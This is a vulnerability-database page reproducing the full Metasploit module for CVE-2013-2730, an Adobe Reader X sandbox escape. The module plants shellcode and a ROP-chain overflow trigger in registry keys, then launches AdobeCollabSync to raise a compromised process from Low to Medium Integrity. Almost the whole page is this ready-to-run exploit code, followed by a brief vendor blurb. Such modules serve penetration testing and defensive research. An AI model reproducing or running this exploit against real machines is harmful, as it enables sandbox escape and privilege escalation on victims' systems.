Lucene search
K

AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass

🗓️ 23 May 2013 00:00:00Reported by Felipe Andres ManzanoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 63 Views

AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass This module exploits a vulnerability on Adobe Reader X Sandbox. The vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe process to write register values which can be used to trigger a buffer overflow on the AdobeCollabSync component, allowing to achieve Medium Integrity Level privileges from a Low Integrity AcroRd32.exe process. This module has been tested successfully on Adobe Reader X 10.1.4 over Windows 7 SP1

Related
Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/post/windows/registry'  
require 'msf/core/post/common'  
require 'msf/core/post/file'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = GreatRanking  
  
include Msf::Exploit::EXE  
include Msf::Post::Common  
include Msf::Post::File  
include Msf::Post::Windows::Registry  
  
def initialize(info={})  
super(update_info(info, {  
'Name' => 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass',  
'Description' => %q{  
This module exploits a vulnerability on Adobe Reader X Sandbox. The  
vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe  
process to write register values which can be used to trigger a buffer overflow on  
the AdobeCollabSync component, allowing to achieve Medium Integrity Level  
privileges from a Low Integrity AcroRd32.exe process. This module has been tested  
successfully on Adobe Reader X 10.1.4 over Windows 7 SP1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Felipe Andres Manzano', # Vulnerability discovery and PoC  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-2730' ],  
[ 'OSVDB', '93355' ],  
[ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ]  
],  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'SessionTypes' => 'meterpreter',  
'Payload' =>  
{  
'Space' => 12288,  
'DisableNops' => true  
},  
'Targets' =>  
[  
[ 'Adobe Reader X 10.1.4 / Windows 7 SP1',  
{  
'AdobeCollabSyncTrigger' => 0x18fa0,  
'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF"  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate'=> 'May 14 2013'  
}))  
  
end  
  
def on_new_session  
print_status("Deleting Malicious Registry Keys...")  
if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")  
print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself")  
end  
if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")  
print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself")  
end  
print_status("Cleanup finished")  
end  
  
# Test the process integrity level by trying to create a directory on the TEMP folder  
# Access should be granted with Medium Integrity Level  
# Access should be denied with Low Integrity Level  
# Usint this solution atm because I'm experiencing problems with railgun when trying  
# use GetTokenInformation  
def low_integrity_level?  
tmp_dir = expand_path("%TEMP%")  
cd(tmp_dir)  
new_dir = "#{rand_text_alpha(5)}"  
begin  
session.shell_command_token("mkdir #{new_dir}")  
rescue  
return true  
end  
  
if directory?(new_dir)  
session.shell_command_token("rmdir #{new_dir}")  
return false  
else  
return true  
end  
end  
  
def check_trigger  
signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length)  
if signature == target['AdobeCollabSyncTriggerSignature']  
return true  
end  
return false  
end  
  
def collect_addresses  
# find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe  
@addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger']  
vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}")  
  
# find kernel32.dll  
kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll")  
@addresses['kernel32.dll'] = kernel32["return"]  
if @addresses['kernel32.dll'] == 0  
fail_with(Exploit::Failure::Unknown, "Unable to find kernel32.dll")  
end  
vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}")  
  
# find kernel32.dll methods  
virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc")  
@addresses['VirtualAlloc'] = virtual_alloc["return"]  
if @addresses['VirtualAlloc'] == 0  
fail_with(Exploit::Failure::Unknown, "Unable to find VirtualAlloc")  
end  
vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}")  
  
reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA")  
@addresses['RegGetValueA'] = reg_get_value["return"]  
if @addresses['RegGetValueA'] == 0  
fail_with(Exploit::Failure::Unknown, "Unable to find RegGetValueA")  
end  
vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}")  
  
# find ntdll.dll  
ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll")  
@addresses['ntdll.dll'] = ntdll["return"]  
if @addresses['ntdll.dll'] == 0  
fail_with(Exploit::Failure::Unknown, "Unable to find ntdll.dll")  
end  
vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}")  
end  
  
# Search a gadget identified by pattern on the process memory  
def search_gadget(base, offset_start, offset_end, pattern)  
mem = base + offset_start  
length = offset_end - offset_start  
mem_contents = session.railgun.memread(mem, length)  
return mem_contents.index(pattern)  
end  
  
# Search for gadgets on ntdll.dll  
def search_gadgets  
ntdll_text_base = 0x10000  
search_length = 0xd6000  
  
@gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3")  
if @gadgets['mov [edi], ecx # ret'].nil?  
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'")  
end  
@gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll']  
@gadgets['mov [edi], ecx # ret'] += ntdll_text_base  
vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}")  
  
@gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2  
vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}")  
  
@gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3")  
if @gadgets['pop edi # ret'].nil?  
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop edi # ret'")  
end  
@gadgets['pop edi # ret'] += @addresses['ntdll.dll']  
@gadgets['pop edi # ret'] += ntdll_text_base  
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}")  
  
@gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3")  
if @gadgets['pop ecx # ret'].nil?  
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop ecx # ret'")  
end  
@gadgets['pop ecx # ret'] += @addresses['ntdll.dll']  
@gadgets['pop ecx # ret'] += ntdll_text_base  
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}")  
end  
  
def store(buf, data, address)  
i = 0  
while (i < data.length)  
buf << [@gadgets['pop edi # ret']].pack("V")  
buf << [address + i].pack("V") # edi  
buf << [@gadgets['pop ecx # ret']].pack("V")  
buf << data[i, 4].ljust(4,"\x00") # ecx  
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")  
i = i + 4  
end  
return i  
end  
  
def create_rop_chain  
mem = 0x0c0c0c0c  
  
buf = [0x58000000 + 1].pack("V")  
buf << [0x58000000 + 2].pack("V")  
buf << [0].pack("V")  
buf << [0x58000000 + 4].pack("V")  
  
buf << [0x58000000 + 5].pack("V")  
buf << [0x58000000 + 6].pack("V")  
buf << [0x58000000 + 7].pack("V")  
buf << [@gadgets['ret']].pack("V")  
buf << rand_text(8)  
  
# Allocate Memory To store the shellcode and the necessary data to read the  
# shellcode stored in the registry  
buf << [@addresses['VirtualAlloc']].pack("V")  
buf << [@gadgets['ret']].pack("V")  
buf << [mem].pack("V") # lpAddress  
buf << [0x00010000].pack("V") # SIZE_T dwSize  
buf << [0x00003000].pack("V") # DWORD flAllocationType  
buf << [0x00000040].pack("V") # flProtect  
  
# Put in the allocated memory the necessary data in order to read the  
# shellcode stored in the registry  
# 1) The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions  
reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00"  
reg_key_length = store(buf, reg_key, mem)  
# 2) The reg entry: shellcode  
value_key = "shellcode\x00"  
store(buf, value_key, mem + reg_key_length)  
# 3) The output buffer size: 0x3000  
size_buffer = 0x3000  
buf << [@gadgets['pop edi # ret']].pack("V")  
buf << [mem + 0x50].pack("V") # edi  
buf << [@gadgets['pop ecx # ret']].pack("V")  
buf << [size_buffer].pack("V") # ecx  
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")  
  
# Copy the shellcode from the the registry to the  
# memory allocated with executable permissions and  
# ret into there  
buf << [@addresses['RegGetValueA']].pack("V")  
buf << [mem + 0x1000].pack("V") # ret to shellcode  
buf << [0x80000001].pack("V") # hkey => HKEY_CURRENT_USER  
buf << [mem].pack("V") # lpSubKey  
buf << [mem + 0x3c].pack("V") # lpValue  
buf << [0x0000FFFF].pack("V") # dwFlags => RRF_RT_ANY  
buf << [0].pack("V") # pdwType  
buf << [mem + 0x1000].pack("V") # pvData  
buf << [mem + 0x50].pack("V") # pcbData  
end  
  
# Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry  
def store_data_registry(buf)  
vprint_status("Creating the Registry Key to store the shellcode...")  
  
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")  
vprint_good("Registry Key created")  
else  
fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Key to store the shellcode")  
end  
  
vprint_status("Storing the shellcode in the Registry...")  
  
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY")  
vprint_good("Shellcode stored")  
else  
fail_with(Exploit::Failure::Unknown, "Failed to store shellcode in the Registry")  
end  
  
# Create the Malicious registry entry in order to exploit....  
vprint_status("Creating the Registry Key to trigger the Overflow...")  
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")  
vprint_good("Registry Key created")  
else  
fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow")  
end  
  
vprint_status("Storing the trigger in the Registry...")  
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY")  
vprint_good("Trigger stored")  
else  
fail_with(Exploit::Failure::Unknown, "Failed to store the trigger in the Registry")  
end  
end  
  
def trigger_overflow  
vprint_status("Creating the thread to trigger the Overflow on AdobeCollabSync.exe...")  
# Create a thread in order to execute the necessary code to launch AdobeCollabSync  
ret = session.railgun.kernel32.CreateThread(nil, 0, @addresses['trigger'], nil, "CREATE_SUSPENDED", nil)  
if ret['return'] < 1  
print_error("Unable to CreateThread")  
return  
end  
hthread = ret['return']  
  
vprint_status("Resuming the Thread...")  
# Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability!  
ret = client.railgun.kernel32.ResumeThread(hthread)  
if ret['return'] < 1  
fail_with(Exploit::Failure::Unknown, "Unable to ResumeThread")  
end  
end  
  
def check  
@addresses = {}  
acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")  
@addresses['AcroRd32.exe'] = acrord32["return"]  
if @addresses['AcroRd32.exe'] == 0  
return Msf::Exploit::CheckCode::Unknown  
elsif check_trigger  
return Msf::Exploit::CheckCode::Vulnerable  
else  
return Msf::Exploit::CheckCode::Detected  
end  
end  
  
def exploit  
@addresses = {}  
@gadgets = {}  
  
print_status("Verifying we're in the correct target process...")  
acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")  
@addresses['AcroRd32.exe'] = acrord32["return"]  
if @addresses['AcroRd32.exe'] == 0  
fail_with(Exploit::Failure::NoTarget, "AcroRd32.exe process not found")  
end  
vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}")  
  
print_status("Checking the AcroRd32.exe image...")  
if not check_trigger  
fail_with(Exploit::Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target")  
end  
  
print_status("Checking the Process Integrity Level...")  
if not low_integrity_level?  
fail_with(Exploit::Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level")  
end  
  
print_status("Collecting necessary addresses for exploit...")  
collect_addresses  
  
print_status("Searching the gadgets needed to build the ROP chain...")  
search_gadgets  
print_good("Gadgets collected...")  
  
print_status("Building the ROP chain...")  
buf = create_rop_chain  
print_good("ROP chain ready...")  
  
print_status("Storing the shellcode and the trigger in the Registry...")  
store_data_registry(buf)  
  
print_status("Executing AdobeCollabSync.exe...")  
trigger_overflow  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation